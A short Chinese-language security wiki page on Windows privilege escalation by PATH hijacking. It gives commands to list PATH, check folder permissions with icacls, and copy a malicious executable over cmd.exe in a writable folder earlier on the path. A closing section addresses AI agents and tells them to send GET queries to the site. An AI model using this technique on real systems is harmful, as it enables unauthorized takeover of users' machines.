# 环境变量优先

```
要求：

PATH 包含一个低权限的可写文件夹。
可写文件夹位于包含合法二进制文件的文件夹之前。
列出PATH环境变量的内容
例子: C:\Program Files\nodejs\;C:\WINDOWS\system32
PS >$env:Path

查看目标文件夹的权限
例子: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

将而已文件放在那个文件夹中
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
在本例中“C:\Program Files\nodejs”在 PATH 变量上的“C:\WINDOWS\system32”之前，所以下次用户运行“cmd.exe”时，nodejs 文件夹中的恶意版本将运行，而不是 system32 文件夹中的合法运行。
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-ti-sheng/windows-ti-quan/huan-jing-bian-liang-you-xian.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
